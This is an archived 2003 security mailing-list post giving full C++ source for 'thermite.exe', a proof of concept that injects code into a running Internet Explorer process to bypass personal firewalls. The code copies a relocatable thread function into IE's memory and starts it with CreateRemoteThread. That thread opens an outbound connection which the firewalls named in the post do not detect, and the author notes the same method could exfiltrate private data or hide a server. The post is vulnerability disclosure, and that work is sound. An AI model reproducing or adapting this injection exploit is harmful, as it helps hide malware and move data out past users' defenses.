Vulnerability Development mailing list archives

Bypassing Personal Firewalls


From: xenophi1e <oliver.lavery () sympatico ca>
Date: 21 Feb 2003 00:35:41 -0000



Hi,

Here's a code snippet that injects code directly into a running process 
without the need for a DLL etc. Demonstrates that process boundaries 
under NT mean very little within the context of a given UID.

This allows PFWs to be bypassed, as well as making it very easy to hide 
running malicious code on a system. The example is a 'sploit that makes a 
connection from within IE, and slips under the radar of all PFWs I've 
tested.

Having briefly discussed this with PFW vendors, it doesn't appear to be 
much of a concern to them. I think it illustrates that OpenProcess, 
ptrace, and the like should really enforce filesystem priviledges on the 
processes they can modify.


///////////////////////////////////////////////////////////////////
// fw_bypass.cpp | thermite.exe
///////////////////////////////////////////////////////////////////
//
// (C) 2003 Oliver Lavery
//
// This program establishes socket connections and transfers information 
in a manner
// which should be undetectable by all current personal firewall products.
//
// Tested on:
//              Windows XP Professional SP1
//              (should run on any NT variant)
//
// Known vulnerable:
//              ZoneAlarm Pro 3.5 (all settings at highest)
//              Zero-Knowledge Freedom Firewall
//              Look'n'Stop 2.04
//              Sygate Personal Firewall PRO (highest settings)
//              Norton Personal Firewall 2003 (highest settings)
//
//              (should smoke 'em all)
//

////
// Compile me with VC++ 98. Other compilers may work.
//
// /ML /W3 /GX /O2 /D "WIN32" /D "NDEBUG" /D "_WINDOWS" 
// /D "_MBCS" /Fo"Release/" /Fd"Release/" /FD /c 
// (no stack checking, no "catch release errors in debug", no incremental 
linking.
//  they all break stuff here)


#define WIN32_LEAN_AND_MEAN             // Exclude rarely-used stuff from 
Windows headers

#include <windows.h>
#include <winsock2.h>
#include <tlhelp32.h>

//////////// Injected Code.//////////////

// This code is a bit funky. The idea here is to write C in such a way 
that it is relocatable
// in the strictest sense of the word (can be passed accross process 
boundaries at run-time).
// To do this the injected code has to contain no static references to 
symbols that reside at 
// a fixed memory address. Also this part of the code is incompatable 
with incremental linking, 
// and stack checking.
//
// There's really no advantage to doing this in C rather than assembly 
other than the
// fact that it's cool. I wanted to see if it would be feasible to inject 
C code for other, 
// bigger projects.


// NB, please excuse the Hungarian notiation. I hate it too. When in 
Rome...

//User32
typedef int     (__stdcall *func_MessageBox)( HWND hWnd, LPCTSTR lpText, 
LPCTSTR lpCaption, UINT uType ); 
//Wsock32
typedef SOCKET (__stdcall *func_socket)( int, int, int );
typedef unsigned long (__stdcall *func_inet_addr)( const char FAR *);
typedef u_short (__stdcall *func_htons)( u_short ); 
typedef int (__stdcall *func_connect)( SOCKET, const struct sockaddr 
FAR*, int );
typedef int (__stdcall *func_send)( SOCKET, const char FAR *, int, int );
typedef int (__stdcall *func_recv)( SOCKET, char FAR*, int len, int 
flags );
typedef int (__stdcall *func_WSAStartup) ( WORD wVersionRequested, 
LPWSADATA lpWSAData ); 
 
//Kernel32
typedef HANDLE (__stdcall *func_CreateFile)( LPCTSTR, DWORD, DWORD, 
LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE ); 
typedef BOOL (__stdcall *func_WriteFile)( HANDLE, LPCVOID, DWORD, 
LPDWORD, LPOVERLAPPED ); 
typedef BOOL (__stdcall *func_CloseHandle)( HANDLE hObject ); 

typedef HMODULE (__stdcall *func_GetModuleHandle)( LPCTSTR ); 
typedef FARPROC (__stdcall *func_GetProcAddress)( HMODULE, LPCSTR ); 
typedef HINSTANCE (__stdcall *func_LoadLibrary)( LPCTSTR ); 
 

typedef struct _tag_inj_info {
        func_GetModuleHandle GetModuleHandle; 
        func_GetProcAddress GetProcAddress; 
        func_LoadLibrary LoadLibrary;
        char szRequest[128];
        int  lRequest;
        char szFile[255];
        char szAddr[32];
        char szErrCmnt1[64];
        char szErrCmnt2[64];
        char szErrTitle1[64];
        char szErrTitle2[64];
        char szErrTitle3[64];
// module names
        char szKernel32[32];
        char szUser32[32];
        char szWSock32[32];
// func names
        char szMessageBox[32];
        char szSocket[32];
        char szInet_Addr[32];
        char szHtons[32];
        char szConnect[32];
        char szSend[32];
        char szRecv[32];
        char szCreateFile[32];
        char szWriteFile[32];
        char szCloseHandle[32];
        char szWSAStartup[32];
} inj_info ;


// Calls to the stack-checking routine must be disabled.
// VC++ doesn't always obey this pragma
#pragma check_stack(off)

// This function runs in IE's address space
static DWORD WINAPI ThreadFunc( inj_info *info ) 
{
        HMODULE hKernel32, hWSock32, hUser32;

        // User32
        func_MessageBox l_MessageBox;

        // Winsock2
        func_WSAStartup l_WSAStartup;
        func_socket l_socket;
        func_inet_addr l_inet_addr;
        func_htons l_htons; 
        func_connect l_connect;
        func_send l_send;
        func_recv l_recv;
          
        // Kernel32
        func_CreateFile l_CreateFile; 
        func_WriteFile l_WriteFile; 
        func_CloseHandle l_CloseHandle; 
 
        // locals for actual functionality
        SOCKET s;
        SOCKADDR_IN sa;
        HANDLE outfile;
        char buf[255];
        DWORD count;
        DWORD read, wrote, error;
        BOOL needStartup;
        WSADATA foo;
        WORD wVersion;

        count = 0;
        wVersion = MAKEWORD( 2, 0 );
        needStartup = FALSE;

        // Dynamically bind API functions

        hUser32 = info->GetModuleHandle( info->szUser32 );
        if (hUser32 == NULL) hUser32 = info->LoadLibrary( info-
szUser32 );
        if (hUser32 == NULL) return 0;
        l_MessageBox = (func_MessageBox) info->GetProcAddress( hUser32, 
info->szMessageBox );

        hKernel32 = info->GetModuleHandle( info->szKernel32 );
        if (hKernel32 == NULL) hKernel32 = info->LoadLibrary( info-
szKernel32 );
        if (hKernel32 == NULL) {
                l_MessageBox( NULL, info->szKernel32, info->szErrTitle3, 
MB_OK );
                return 0;
        }
        l_CreateFile = (func_CreateFile)info->GetProcAddress( hKernel32, 
info->szCreateFile );
        l_WriteFile = (func_WriteFile)info->GetProcAddress( hKernel32, 
info->szWriteFile );
        l_CloseHandle = (func_CloseHandle)info->GetProcAddress( 
hKernel32, info->szCloseHandle );


        hWSock32 = info->GetModuleHandle( info->szWSock32 );
        if (hWSock32  == NULL) {
                needStartup = TRUE;
                hWSock32 = info->LoadLibrary( info->szWSock32 );
        }
        if (hWSock32  == NULL) {
                l_MessageBox( NULL, info->szWSock32, info->szErrTitle3, 
MB_OK );
                return 0;
        }
        l_WSAStartup = (func_WSAStartup)info->GetProcAddress( hWSock32, 
info->szWSAStartup );
        l_socket = (func_socket)info->GetProcAddress( hWSock32, info-
szSocket );
        l_inet_addr = (func_inet_addr)info->GetProcAddress( hWSock32, 
info->szInet_Addr );
        l_htons = (func_htons)info->GetProcAddress( hWSock32, info-
szHtons );
        l_connect = (func_connect)info->GetProcAddress( hWSock32, info-
szConnect );
        l_send = (func_send)info->GetProcAddress( hWSock32, info-
szSend );
        l_recv = (func_recv)info->GetProcAddress( hWSock32, info-
szRecv );

        // Ok. Do stuff.

        if ( needStartup )
        {
                l_WSAStartup(2, &foo);
        }
        s = l_socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
        
        sa.sin_family = AF_INET;
        sa.sin_addr.s_addr = l_inet_addr( info->szAddr );
        sa.sin_port = l_htons(80);

        if ( ! (error = l_connect( s, (SOCKADDR *)&sa, sizeof(sa) ) ) ) {
                outfile = l_CreateFile( info->szFile, GENERIC_WRITE, 0, 
NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL );
                if ( outfile != INVALID_HANDLE_VALUE ) {
                        l_send( s, info->szRequest, info->lRequest, 0);
                        while ( read = l_recv( s, buf, 255, 0 ) ) {
                                l_WriteFile( outfile, buf, read, &wrote, 
NULL );
                        }
                        l_CloseHandle( outfile );
                } else {
                        l_MessageBox( NULL, info->szErrCmnt1, info-
szErrTitle1, MB_OK );
                }
        } else {
                l_MessageBox( NULL, info->szErrCmnt2, info->szErrTitle2, 
MB_OK );
        }
        return 0;
        // XXX forgot to close the socket.
}

static void AfterThreadFunc (void) {
}

#pragma check_stack 

///////// "Normal" Code /////////////

void ErrorNotify(DWORD err, char *title)
{

        LPVOID lpMsgBuf;

        FormatMessage( 
                FORMAT_MESSAGE_ALLOCATE_BUFFER | 
FORMAT_MESSAGE_FROM_SYSTEM,
                NULL,
                err,
                MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default 
language
                (LPTSTR) &lpMsgBuf,
                0,
            NULL 
        );

// Display the string.
        MessageBox( NULL, (char *)lpMsgBuf, title, 
MB_OK|MB_ICONINFORMATION );

// Free the buffer.
        LocalFree( lpMsgBuf );
};

// Bits of this function are from M$ Research's Detours library.
// A great resource for ways to do 3vi1 stuff on windows, btw.
static BOOL InjectExploit(HANDLE hProcess)
{
        BOOL fSucceeded = FALSE;

        // The address where code will be copied to in the remote process.
        PDWORD pdwCodeRemote = NULL;

        // Calculate the number of bytes in the ThreadFunc function.
        const int cbCodeSize = ((LPBYTE) AfterThreadFunc - (LPBYTE) 
ThreadFunc);

        // The address where InjLibInfo will be copied to in the remote 
process.
        inj_info *pInjLibInfoRemote = NULL;

        // The number of bytes written to the remote process.
        DWORD dwNumBytesXferred = 0;

        // The handle and Id of the thread executing the remote copy of 
ThreadFunc.
        DWORD dwThreadId = 0;
        const DWORD cbMemSize = cbCodeSize + sizeof(inj_info) + 3;
        HANDLE hThread = NULL;

        DWORD dwOldProtect;

        inj_info info = {
// functions used to run-time link. (always at same addresses on windows)
                NULL, // GetModuleHandle
                NULL, // GetProcAddress
                NULL, // LoadLibrary
//// initialized data
                "GET / HTTP/1.0\n\n\n",
                strlen("GET / HTTP/1.0\n\n\n"),
                "",
                "205.206.231.12",
                "Can't create file",
                "Can't connect to securityfocus",
                "File Error",
                "Socket Error",
                "Linking Error",
// module names
                "kernel32.dll",
                "user32.dll",
                "wsock32.dll",
// func names
                "MessageBoxA",
                "socket",
                "inet_addr",
                "htons",
                "connect",
                "send",
                "recv",
                "CreateFileA",
                "WriteFile",
                "CloseHandle",
                "WSAStartup"
        };

        GetCurrentDirectory( sizeof( info.szFile ), info.szFile );
        strcat( info.szFile, "\\securityfocus.html");

        HMODULE hKernel32;
        hKernel32 = GetModuleHandle( "kernel32.dll" );
        info.GetModuleHandle = (func_GetModuleHandle)GetProcAddress( 
hKernel32, "GetModuleHandleA" );
        info.GetProcAddress = (func_GetProcAddress)GetProcAddress( 
hKernel32, "GetProcAddress" );
        info.LoadLibrary = (func_LoadLibrary)GetProcAddress( 
hKernel32, "LoadLibraryA" );

        // Allocate memory in the remote process's address space large 
        // enough to hold our ThreadFunc function and a inj_info 
structure.
        pdwCodeRemote = (PDWORD)VirtualAllocEx(hProcess, NULL, cbMemSize,
                                                                        
           MEM_COMMIT | MEM_TOP_DOWN,
                                           PAGE_EXECUTE_READWRITE);
        if (pdwCodeRemote == NULL) {
                MessageBox( NULL, "IE not running. Please run IE, load a 
page, and re-run this exploit.", "Can't find process", MB_OK);
                ErrorNotify( GetLastError(), "VirtualAllocEx Failed" );
                goto finish;
        }
    
        // Change the page protection of the allocated memory
        // to executable, read, and write.
        if (!VirtualProtectEx(hProcess, pdwCodeRemote, cbMemSize,
                                                  PAGE_EXECUTE_READWRITE, 
&dwOldProtect)) {
                ErrorNotify( GetLastError(), "VirtualProtectEx Failed" );
                goto finish;
        }

        // Write a copy of ThreadFunc to the remote process.
        if (!WriteProcessMemory(hProcess, pdwCodeRemote,
                                                        (LPVOID) 
ThreadFunc, cbCodeSize, &dwNumBytesXferred)) {
                ErrorNotify( GetLastError(), "WriteProcessMemory 
Failed" );
                goto finish;
        }

        // Write a copy of inj_info to the remote process
        // (the structure MUST start on an even 32-bit boundary).
        pInjLibInfoRemote = (inj_info *)(((PBYTE)pdwCodeRemote) + 
((cbCodeSize + 4) & ~3));

        // Put inj_info in remote thread's memory block.
        if (!WriteProcessMemory(hProcess, pInjLibInfoRemote,
                                                        &info, sizeof
(info), &dwNumBytesXferred)) {
                ErrorNotify( GetLastError(), "WriteProcessMemory2 
Failed" );
                goto finish;
        }

    if ((hThread = CreateRemoteThread(hProcess, NULL, 65536, 
                                      (LPTHREAD_START_ROUTINE) 
pdwCodeRemote,
                                      pInjLibInfoRemote, 0, &dwThreadId)) 
== NULL) {
        ErrorNotify( GetLastError(), "CreateRemoteThread Failed" );
        goto finish;
    }
                
        fSucceeded = TRUE;
        
  finish:
        if (hThread != NULL)
                CloseHandle(hThread);

        if (fSucceeded) MessageBox( NULL, ".\\securityfocus.html should 
now contain the results of an HTTP request which in theory could have 
transmitted your private information to a third party.\n"
                "If you did not see a firewall warning, your firewall did 
not detect the request and is vulnerable to this exploit."
                , "Success", MB_OK );
        return fSucceeded;
}

// There is no real reason to target IE, other than most users have it 
running a lot, and it
// is usually allowed to bypass PFWs. Note that using the same technique 
it would be easy to inject
// code to run a server inside another process as well, but IE is not 
normally allowed to do this

// XXX there are better ways to get a PID.
DWORD GetIEProcessID( void )
{
        HANDLE hSnap;
        PROCESSENTRY32 ppe;

        hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

        ppe.dwSize = sizeof( PROCESSENTRY32 );
        Process32First( hSnap, &ppe );
        while ( 1 ) {
                if ( !stricmp( "iexplore.exe", ppe.szExeFile ) ) return 
ppe.th32ProcessID;
                if ( !Process32Next( hSnap, &ppe ) ) break;
        }
        CloseHandle( hSnap );
        return FALSE;
}
 

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
        DWORD dwIE_PID = GetIEProcessID();
        HANDLE hIE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwIE_PID);
// XYZZY!
        InjectExploit( hIE );
        return 0;
}



Current thread: